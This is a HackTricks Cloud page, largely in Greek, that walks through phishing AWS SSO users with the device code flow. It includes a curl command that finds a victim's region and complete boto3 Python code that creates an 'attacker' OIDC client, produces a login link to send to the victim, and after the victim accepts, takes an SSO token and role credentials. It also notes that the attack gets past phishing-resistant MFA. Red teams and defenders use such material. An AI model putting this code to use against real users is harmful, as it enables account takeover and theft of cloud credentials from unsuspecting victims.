AWS - Identity Center & SSO Unauthenticated Enum
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
AWS Device Code Phishing
Αρχικά προταθεί σε αυτό το άρθρο, είναι δυνατό να σταλεί ένας σύνδεσμος σε έναν χρήστη που χρησιμοποιεί AWS SSO ο οποίος, εάν ο χρήστης τον αποδεχτεί, θα επιτρέψει στον επιτιθέμενο να αποκτήσει ένα token για να προσποιηθεί τον χρήστη και να έχει πρόσβαση σε όλους τους ρόλους που ο χρήστης μπορεί να προσπελάσει στο Identity Center.
In order to perform this attack the requisites are:
- Το θύμα πρέπει να χρησιμοποιεί Identity Center
- Ο επιτιθέμενος πρέπει να γνωρίζει τον υποτομέα που χρησιμοποιεί το θύμα
<victimsub>.awsapps.com/start
Μόνο με αυτές τις πληροφορίες, ο επιτιθέμενος θα μπορεί να στείλει έναν σύνδεσμο στον χρήστη που, αν αποδεχτεί, θα του παράσχει πρόσβαση στον AWS λογαριασμό του χρήστη.
Επίθεση
- Εύρεση του υποτομέα
Το πρώτο βήμα του επιτιθέμενου είναι να εντοπίσει τον υποτομέα που χρησιμοποιεί η εταιρεία-θύμα στο Identity Center τους. Αυτό μπορεί να γίνει μέσω OSINT ή guessing + BF καθώς οι περισσότερες εταιρείες θα χρησιμοποιούν το όνομά τους ή μια παραλλαγή του εδώ.
Με αυτές τις πληροφορίες, είναι δυνατό να βρεις την περιοχή όπου το Identity Center έχει ρυθμιστεί με:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Δημιουργήστε το link για τον victim & Στείλτε το
Εκτελέστε τον ακόλουθο κώδικα για να δημιουργήσετε ένα AWS SSO login link ώστε ο victim να μπορεί να αυθεντικοποιηθεί.
Για το demo, εκτελέστε αυτόν τον κώδικα σε μια python console και μην την κλείσετε, καθώς αργότερα θα χρειαστείτε κάποια αντικείμενα για να πάρετε το token:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Στείλε τον σύνδεσμο που δημιουργήθηκε στο θύμα χρησιμοποιώντας τις εξαιρετικές σου δεξιότητες social engineering!
- Περίμενε μέχρι το θύμα να το αποδεχτεί
Εάν το θύμα ήταν ήδη συνδεδεμένο στο AWS θα χρειαστεί απλώς να αποδεχτεί την παροχή των δικαιωμάτων, αν δεν ήταν, θα χρειαστεί να συνδεθεί και στη συνέχεια να αποδεχτεί την παροχή των δικαιωμάτων.
Έτσι μοιάζει το prompt σήμερα:
.png)
- Πάρε SSO access token
Εάν το θύμα αποδέχτηκε το prompt, εκτέλεσε αυτόν τον κώδικα για να παράγεις ένα SSO token παριστάνοντας τον χρήστη:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
Το SSO access token είναι έγκυρο για 8h.
- Προσποιηθείτε τον χρήστη
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing the unphisable MFA
Είναι ενδιαφέρον να γνωρίζουμε ότι η προηγούμενη επίθεση works even if an “unphisable MFA” (webAuth) is being used. Αυτό συμβαίνει επειδή η προηγούμενη workflow never leaves the used OAuth domain. Όχι όπως σε άλλες phishing επιθέσεις όπου ο χρήστης πρέπει να αντικαταστήσει το login domain, στην περίπτωση αυτή η device code workflow είναι προετοιμασμένη έτσι ώστε ένας code να είναι γνωστός από μια συσκευή και ο χρήστης μπορεί να συνδεθεί ακόμα και από διαφορετική μηχανή. Αν αποδεχθεί το prompt, η συσκευή, απλώς γνωρίζοντας τον initial code, θα είναι σε θέση να retrieve credentials για τον χρήστη.
For more info about this δείτε αυτή την ανάρτηση.
Αυτόματα Εργαλεία
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
Αναφορές
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

